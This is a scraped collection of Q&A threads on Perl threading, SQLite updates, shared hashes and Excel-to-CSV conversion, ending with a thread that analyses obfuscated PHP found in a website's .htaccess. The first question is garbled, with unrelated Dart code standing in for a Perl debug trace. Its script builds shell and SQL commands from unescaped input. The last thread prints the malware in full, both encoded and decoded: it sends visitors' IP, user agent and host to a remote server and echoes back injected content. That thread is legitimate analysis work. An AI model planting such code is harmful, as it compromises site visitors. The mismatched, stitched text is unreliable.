I am developing a Perl script to query the PasteBin API using threads and DBD::SQLite to store information for later.
Upon running my script I get the following error:
DBD::SQLite::db do failed: near "day": syntax error at getpaste.pl line 113.
Thread 3 terminated abnormally: DBD::SQLite::db do failed: near "day": syntax error at getpaste.pl line 113.
Using my code to debug here's what I see in thread 3:
enum _Days {
Monday,
Tuesday,
Wednesday,
Thursday,
Friday,
Saturday,
Sunday
}
class HeadingItem implements ListItem {
String _weekday;
final int time;
final DocumentReference reference;
set day(String weekday) {
var value = _Days.values[int.parse(weekday) - 1].toString();
var idx = value.indexOf(".") + 1;
var result = value.substring(idx, value.length);
_weekday = result;
}
String get day {
return _weekday;
}
HeadingItem.fromMap(Map<String, dynamic> map, {this.reference})
: assert(map['day'] != null),
assert(map['time'] != null),
day = map['day'], // 'day' isn't a field in the enclosing class <--- this is the error that im stuck on...
time = map['time'];
HeadingItem.fromSnapshot(DocumentSnapshot snapshot) : this.fromMap(snapshot.data, reference: snapshot.reference);
}
If I had to make an educated guess it bombs out at String get day {
Here's a chunk of my code where this is relevant:
sub threadCheckKey {
my ($url, $key) = #_;
my $fullURL = $url.$key;
my #flaggedRegex = ();
my $date = strftime "%D", localtime;
my #data = ();
my $thread = threads->create(sub {
my $dbConnection = openDB();
open(GET_DATA, "curl -s " . $fullURL . " -k 2>&1 |") or die("$!");
open(WRITE_FILE, ">", $key . ".txt") or die("$!");
while(my $line = <GET_DATA>) {
print WRITE_FILE $line;
foreach my $regex(#regexs) {
if($line =~ m/$regex/) {
if(!($regex ~~ #flaggedRegex)) {
push(#flaggedRegex, $regex);
}
}
}
}
close(WRITE_FILE);
close(GET_DATA);
open(READ_FILE, $key . ".txt") or die("$!");
while(my $line = <READ_FILE>) {
push(#data, $line);
}
close(READ_FILE);
my $updateRow = qq(UPDATE $tables[0] set data = \'#data\', date = \'$date\', regex = \'#flaggedRegex\' where pastekey = \'$key\');
my $executeRowUpdate = $dbConnection->do($updateRow);
if($executeRowUpdate < 0) {
print $DBI::errstr;
}
Line 113 in this case is my $executeRowUpdate = $dbConnection->do($updateRow); Knowing Perl it's really complaining about my UPDATE statement just above it.
Where am I going wrong with this? I am a novice when it comes to interacting with anything sql related.
You need to log the $updateRow that is generated and then look at that and see what is wrong with it. Without that nobody knows.
The other issues ikegami notes in a comment above probably deserve new questions focused on their individual aspects. As you've discovered https://codereview.stackexchange.com/ is not for code with errors. But given all of the injection issues it might be time to try https://security.stackexchange.com/
If you fix those problems maybe your error will disappear too. Or not, but it is worth trying.
Related
I'm fairly new to Perl and am working on a project to further my learning. It's a little console word game (translated from a python project of mine), and part of the logic requires to draw a random letter from a pool that is 98 characters long.
Running the functions individually, I've never had an issue, but when I try to loop it into a list it occasionally fails. Running with warnings on tells me that some of these are undefined, but I can't for the life of me figure out why. Here's an MRE:
package Random;
sub choice {
shift;
my ($str) = #_;
my $random_index = int(rand(length($str)));
return substr($str,$random_index,1); #fixed variable name
}
package Player;
sub new {
my $class = shift;
my $self = { "name" => shift, "letters" => {fillList()} };
bless $self, $class;
return $self;
}
sub drawCharacter {
my $freq = "aaaaaaaaabbccddddeeeeeeeeeeeeffggghhiiiiiiiiijkllllmmnnnnnnooooooooppqrrrrrrssssttttttuuuuvvwwxyyz";
my $choice = Random -> choice($freq);
return $choice;
}
sub fillList {
my #ls = ();
for (0..6) {
push #ls, drawCharacter();
}
return #ls;
}
sub getLetters {
my ($self) = #_;
my $arr = $self -> {letters};
return %$arr;
}
package Main;
my #players = ();
for (0..12){
my $player = Player -> new("Foo");
print($player->getLetters(),"\n");
}
BIG EDIT: Adding the object I'm using. This is verifiably not working. Warnings:
"Use of uninitialized value in print" and "Odd number of elements in anonymous hash". This is where I think the issue lies.
The list returned by fillList sometimes is missing an item or 2, and in some circumstances even 3 or 4 items are missing. Does anybody know what's going on here? The python one hasn't failed once.
If the python analogue would be helpful, I can include that here too.
The error comes from using a hash ref where you should have an array ref:
my $self = { "name" => shift, "letters" => {fillList()} };
# ^ ^-- wrong brackets
This is what the warning talks about:
Odd number of elements in anonymous hash at foo.pl line 22.
You want to change that to:
my $self = { "name" => shift, "letters" => [fillList()] };
# ^ ^--- creates array ref
And also the line which uses this array
return %$arr;
Where you need to change % to #.
return #$arr;
After those fixes, the code runs without errors for me.
Use of global arrays in different threads
I'm going to use Dancer2 and File::Tail to use Tail on the web. So when the Websocket is opened, it stores the $conn in an array, and when File::Tail is detected, it tries to send data to the socket stored in the array. But it doesn't work as expected.
The array that is saved when a websocket connection occurs is probably not a global variable.
# it doesn't works.
foreach (#webs) {
$_->send_utf8("test2!!!!!!!!");
}
I tried to use threads::shared and Cache:::Memcached etc, but I failed.
I don't know perl very well. I tried to solve it myself, but I couldn't solve it for too long, so I leave a question.
This is the whole code.
use File::Tail ();
use threads;
use threads::shared;
use Net::WebSocket::Server;
use strict;
use Dancer2;
my #webs = ();
# my %clients :shared = ();
my $conns :shared = 4;
threads->create(sub {
print "start-end:", "$conns", "\n";
my #files = glob( $ARGV[0] . '/*' );
my #fs = ();
foreach my $fileName(#files) {
my $file = File::Tail->new(name=>"$fileName",
tail => 1000,
maxinterval=>1,
interval=>1,
adjustafter=>5,resetafter=>1,
ignore_nonexistant=>1,
maxbuf=>32768);
push(#fs, $file);
}
do {
my $timeout = 1;
(my $nfound,my $timeleft,my #pending)=
File::Tail::select(undef,undef,undef,$timeout,#fs);
unless ($nfound) {
} else {
foreach (#pending) {
my $str = $_->read;
print $_->{"input"} . " ||||||||| ".localtime(time)." ||||||||| ".$str;
# it doesn't works.
foreach (#webs) {
$_->send_utf8("test!!!!!!!!");
}
}
}
} until(0);
})->detach();
threads->create(sub {
Net::WebSocket::Server->new(
listen => 8080,
on_connect => sub {
my ($serv, $conn) = #_;
push(#webs, $conn);
$conn->on(
utf8 => sub {
my ($conn, $msg) = #_;
$conn->send_utf8($msg);
# it works.
foreach (#webs) {
$_->send_utf8("test!!!!!!!!");
}
},
);
},
)->start;
})->detach();
get '/' => sub {
my $ws_url = "ws://127.0.0.1:8080/";
return <<"END";
<html>
<head><script>
var urlMySocket = "$ws_url";
var mySocket = new WebSocket(urlMySocket);
mySocket.onmessage = function (evt) {
console.log( "Got message " + evt.data );
};
mySocket.onopen = function(evt) {
console.log("opening");
setTimeout( function() {
mySocket.send('hello'); }, 2000 );
};
</script></head>
<body><h1>WebSocket client</h1></body>
</html>
END
};
dance;
Threads in perl are not lightweight. They're separate instances of the program.
The only thing that threads have in common, are things that exist prior to the threads instantating.
You can - with declaring shared variables - allow data structures to share between threads, however I'd warn you to be cautious here - without some manner of locking, you potentially create yourself a race condition.
In your case, you could declare #webs as : shared. This will mean values inserted into it will be visible to all your threads. But you still need a degree of caution there, because 'when stuff is added' is still nondeterministic.
But anyway, this basically works:
#!/usr/bin/env perl
use strict;
use warnings;
use threads;
use threads::shared;
use Data::Dumper;
my #shared_struct : shared;
sub reader {
print "Starting reader\n";
for ( 1..10 ) {
print threads -> self() -> tid(), ":", join (",", #shared_struct ), "\n";
sleep 1;
}
}
sub writer {
print "starting writer\n";
for ( 1..10 ) {
push #shared_struct, rand(10);
print Dumper \#shared_struct;
sleep 1;
}
}
## start the threads;
my $reader = threads -> create ( \&reader );
my $writer = threads -> create ( \&writer );
while ( 1 ) {
print #shared_struct;
sleep 1;
}
More generally, I'd suggest you almost never actually want to detach a thread in perl - in doing so, what you're saying is 'I don't care about your execution'. And clearly that's not the case in your code - you're trying to talk to the threads.
Just creating the thread accomplishes what you want - parallel execution and you can have:
for my $thread ( threads -> list ) {
$thread -> join;
}
As and when you're ready for the thread to terminate.
We use excel as a configuration file for clients. However, our processes only run on linux servers. We need to take a master file, update all the client workbooks with the new information, and commit to GitLab. The users then check it out, add their own changes, commit back to GitLab and a process promotes the workbook to Server A.
This process works great using nodeJS (exceljs)
Another process on a different server is using perl to pick up the workbook and then saves each sheet as a csv file.
The problem is, what gets written out is the data from the ORIGINAL worksheet and not the updated changes. This is true of both perl and nodejs. Code for perl and nodejs xlsx to csv is at the end of the post.
Modules Tried:
perl : Spreadsheet::ParseExcel; Spreadsheet::XLSX;
nodejs: node-xlsx, exceljs
I assume it has to do with Microsoft using XML inside the excel wrapper, it keeps the old version as history and since it was the original sheet name, it gets pulled instead of the updated latest version.
When I manually open in Excel, everything is correct with the new info as expected.
When I use "Save as..." instead of "Save" then the perl process is able to correctly write out the updated worksheet as csv. So our workaround is having the users always "Save as.." before committing their extra changes to GitLab. We'd like to rely on training, but the sheer number of users and clients makes trusting that the user will "Save AS..." is not practical.
Is there a way to replicate a "Save As..." during my promotion to Server A or at least be able to tell if the file had been saved correctly? I'd like to stick with excelJS, but I'll use whatever is necessary to replicate the "Save as..." which seems to recompile the workbook.
In addition to nodejs, I can use perl, python, ruby - whatever it takes - to make sure the csv creation process picks up the new changes.
Thanks for your time and help.
#!/usr/bin/env perl
use strict;
use warnings;
use Carp;
use Getopt::Long;
use Pod::Usage;
use File::Basename qw/fileparse/;
use File::Spec;
use Spreadsheet::ParseExcel;
use Spreadsheet::XLSX;
use Getopt::Std;
my %args = ();
my $help = undef;
GetOptions(
\%args,
'excel=s',
'sheet=s',
'man|help'=>\$help,
) or die pod2usage(1);
pod2usage(1) if $help;
pod2usage(-verbose=>2, exitstatus=>0, output=>\*STDOUT) unless $args{excel} || $args{sheet};
pod2usage(3) if $help;
pod2usage(-verbose=>2, exitstatus=>3, output=>\*STDOUT) unless $args{excel};
if (_getSuffix($args{excel}) eq ".xls") {
my $file = File::Spec->rel2abs($args{excel});
if (-e $file) {
print _XLS(file=>$file, sheet=>$args{sheet});
} else {
exit 1;
die "Error: Can not find excel file. Please check for exact excel file name and location. \nError: This Program is CASE SENSITIVE. \n";
}
}
elsif (_getSuffix($args{excel}) eq ".xlsx") {
my $file = File::Spec->rel2abs($args{excel});
if (-e $file) {
print _XLSX(file=>$file, sheet=>$args{sheet});
}
else {
exit 1;
die "\nError: Can not find excel file. Please check for exact excel file name and location. \nError: This Program is CASE SENSITIVE.\n";
}
}
else {
exit 5;
}
sub _XLS {
my %opts = (
file => undef,
sheet => undef,
#_,
);
my $aggregated = ();
my $parser = Spreadsheet::ParseExcel->new();
my $workbook = $parser->parse($opts{file});
if (!defined $workbook) {
exit 3;
croak "Error: Workbook not found";
}
foreach my $worksheet ($workbook->worksheet($opts{sheet})) {
if (!defined $worksheet) {
exit 2;
croak "\nError: Worksheet name doesn't exist in the Excel File. Please check the WorkSheet Name. \nError: This program is CASE SENSITIVE.\n\n";
}
my ($row_min, $row_max) = $worksheet->row_range();
my ($col_min, $col_max) = $worksheet->col_range();
foreach my $row ($row_min .. $row_max){
foreach my $col ($col_min .. $col_max){
my $cell = $worksheet->get_cell($row, $col);
if ($cell) {
$aggregated .= $cell->value().',';
}
else {
$aggregated .= ',';
}
}
$aggregated .= "\n";
}
}
return $aggregated;
}
sub _XLSX {
eval {
my %opts = (
file => undef,
sheet => undef,
#_,
);
my $aggregated_x = ();
my $excel = Spreadsheet::XLSX->new($opts{file});
foreach my $sheet ($excel->worksheet($opts{sheet})) {
if (!defined $sheet) {
exit 2;
croak "Error: WorkSheet not found";
}
if ( $sheet->{Name} eq $opts{sheet}) {
$sheet->{MaxRow} ||= $sheet->{MinRow};
foreach my $row ($sheet->{MinRow} .. $sheet->{MaxRow}) {
$sheet->{MaxCol} ||= $sheet->{MinCol};
foreach my $col ($sheet->{MinCol} .. $sheet->{MaxCol}) {
my $cell = $sheet->{Cells}->[$row]->[$col];
if ($cell) {
$aggregated_x .= $cell->{Val}.',';
}
else {
$aggregated_x .= ',';
}
}
$aggregated_x .= "\n";
}
}
}
return $aggregated_x;
}
};
if ($#) {
exit 3;
}
sub _getSuffix {
my $f = shift;
my ($basename, $dirname, $ext) = fileparse($f, qr/\.[^\.]*$/);
return $ext;
}
sub _convertlwr{
my $f = shift;
my ($basename, $dirname, $ext) = fileparse($f, qr/\.[^\.]*$/);
return $ext;
}
var xlsx = require('node-xlsx')
var fs = require('fs')
var obj = xlsx.parse(__dirname + '/test2.xlsx') // parses a file
var rows = []
var writeStr = ""
//looping through all sheets
for(var i = 0; i < obj.length; i++)
{
var sheet = obj[i]
//loop through all rows in the sheet
for(var j = 0; j < sheet['data'].length; j++)
{
//add the row to the rows array
rows.push(sheet['data'][j])
}
}
//creates the csv string to write it to a file
for(var i = 0; i < rows.length; i++)
{
writeStr += rows[i].join(",") + "\n"
}
//writes to a file, but you will presumably send the csv as a
//response instead
fs.writeFile(__dirname + "/test2.csv", writeStr, function(err) {
if(err) {
return console.log(err)
}
console.log("test.csv was saved in the current directory!")
The answer is its impossible. In order to update data inside a workbook that has excel functions, you must open it in Excel for the formulas to trigger. It's that simple.
You could pull the workbook apart, create your own javascript functions, run the data through it and then write it out, but there are so many possible issues that it is not recommended.
Perhaps one day Microsoft will release a linux Excel engine API for linux. But its still unlikely that such a thing would work via command line without invoking the GUI.
I get the following error when trying to run my test code:
thread failed to start: Invalid value for shared scalar at ./threaded_test.pl line 47.
Line 47 is:
%hoh = hoh(#new_array);
My observations:
If I remove line 47 and other lines referencing %hoh, then the script runs without errors
I can create a new hash %new_hash = (itchy => "Scratchy"); without errors, but when I try to "return" a hash from another sub (line 47), it results in the error above.
Unfortunately, I cannot use a in/out Queue because the version of Thread::Queue that I use is too old (and installed on a system I have no control over) and doesn't support hash and hash-ref types to be returned via a Queue (according to this). Apparently, my version only support strings to be returned via queues.
Is there a way to successfully do this: $hash{$string}{"jc"} = \%hoh;
#!/usr/bin/perl
use strict;
use warnings;
use threads;
use Thread::Queue;
use constant NUM_WORKERS => 10;
my #out_array : shared = ();
main();
sub main
{
my #results = test1();
foreach my $item (#results) {
print "item: $item\n";
}
}
sub test1
{
my $my_queue = Thread::Queue->new();
foreach (1..NUM_WORKERS) {
async {
while (my $job = $my_queue->dequeue()) {
test2($job);
}
};
}
my #sentiments = ("Axe Murderer", "Mauler", "Babyface", "Dragon");
$my_queue->enqueue(#sentiments);
$my_queue->enqueue(undef) for 1..NUM_WORKERS;
$_->join() for threads->list();
my #return_array = #out_array;
return #return_array;
}
sub test2
{
my $string = $_[0];
my %hash : shared;
my #new_array : shared;
my %new_hash : shared;
my %hoh : shared;
#new_array = ("tom", "jerry");
%new_hash = (itchy => "Scratchy");
%hoh = hoh(#new_array);
my %anon : shared;
$hash{$string} = \%anon;
$hash{$string}{"Grenade"} = \#new_array;
$hash{$string}{"Pipe bomb"} = \%new_hash;
$hash{$string}{"jc"} = \%hoh;
push #out_array, \%hash;
return;
}
sub hoh
{
my %hoh;
foreach my $item (#_) {
$hoh{"jeepers"}{"creepers"} = $item;
}
return %hoh;
}
The problem is that your trying to store a reference to something that isn't shared in a shared variable. You need to use share as previously mentioned, or you need to serialise the data structure.
#!/perl/bin/perl
use strict;
use threads;
use threads::shared;
my %hm_n2g:shared = ();
my $row = &share([]);
$hm_n2g{"aa"}=$row;
$row->[0]=1;
$row->[1]=2;
my #arr = #{$hm_n2g{"aa"}};
print #arr[0]." ".#arr[1]."\n";
#If you want to lock the hash in a thread-subroutine
{
lock(%hm_n2g)
}
Found a code this morning encoded under several layers attached to a website I administer's .htaccess. The code reads as follows:
function s37($s){for ($a = 0; $a <= strlen($s)-1; $a++ ){$e .= $s{strlen($s)-$a-1};}return($e);}eval(s37(';"ni"=73c$;"ptth"=73h$;"stats"=73z$'));eval(s37(';]"TNEGA_RESU_PTTH"[REVRES_$=3au$'));eval(s37(';)"relbmaR" ,"xednaY" ,"revihcra_ai" ,"toBNSM" ,"prulS" ,"elgooG"(yarra = 73u$'));eval(s37('}};lru$ ohce;]1[lru$ = lru$ ;)lru$,"!og!"(edolpxe = lru${))"!og!",lru$(rtsrts( fi;))]"TSOH_PTTH"[REVRES_$(edocnelru."=h&".)3au$(edocnelru."=b&".]"RDDA_ETOMER"[REVRES_$."=i"."?p"."hp.".73c$."/73c$.".73c$.73c$.73c$.73c$.73c$.73c$.73c$.73c$.73c$."//".":".73h$(stnetnoc_teg_elif# = lru$ ;)00801+)(emit,)"stats"(5dm,73z$(eikooctes# { esle }{ )))]73z$[EIKOOC_$(tessi( ro ))3au$ ,"i/" . )73u$ ,"|"(edolpmi . "/"(hctam_gerp((fi'));
Clearly details of the function are written in reverse. It looks like it is sending log information to a remote server. Anyone familiar with this code or what it is doing?
Looks like pretty heavily obfuscated stat-tracking code, but I'm more inclined to say it's malicious. s37, as noted, reverses the string:
function s37($s)
{
$e = "";
for ($a = 0; $a <= strlen($s)-1; $a++ )
{
$e .= $s{strlen($s)-$a-1};
}
return($e);
}
This, in turn, generates the following code:
$z37="stats";
$h37="http";
$c37="in";
$ua3=$_SERVER["HTTP_USER_AGENT"];
$u37 = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if((preg_match("/" . implode("|", $u37) . "/i", $ua3)) or (isset($_COOKIE[$z37])))
{
}
else
{
#setcookie($z37,md5("stats"),time()+10800);
$url = #file_get_contents($h37.":"."//".$c37.$c37.$c37.$c37.$c37.$c37.$c37.$c37.$c37.".$c37/".$c37.".ph"."p?"."i=".$_SERVER["REMOTE_ADDR"]."&b=".urlencode($ua3)."&h=".urlencode($_SERVER["HTTP_HOST"]));
if (strstr($url,"!go!"))
{
$url = explode("!go!",$url);
$url = $url[1];
echo $url;
}
}
The user-agent matching stuff prevents search engine bots from running the code. Otherwise, for browsers, a cookie gets set, then some code gets downloaded from a remote server and echoed out. The purpose of the code that's downloaded is hard to ascertain without more info.
function s37 reverses the supplied string. function s37 doe only go for the first little bit of the line of code though...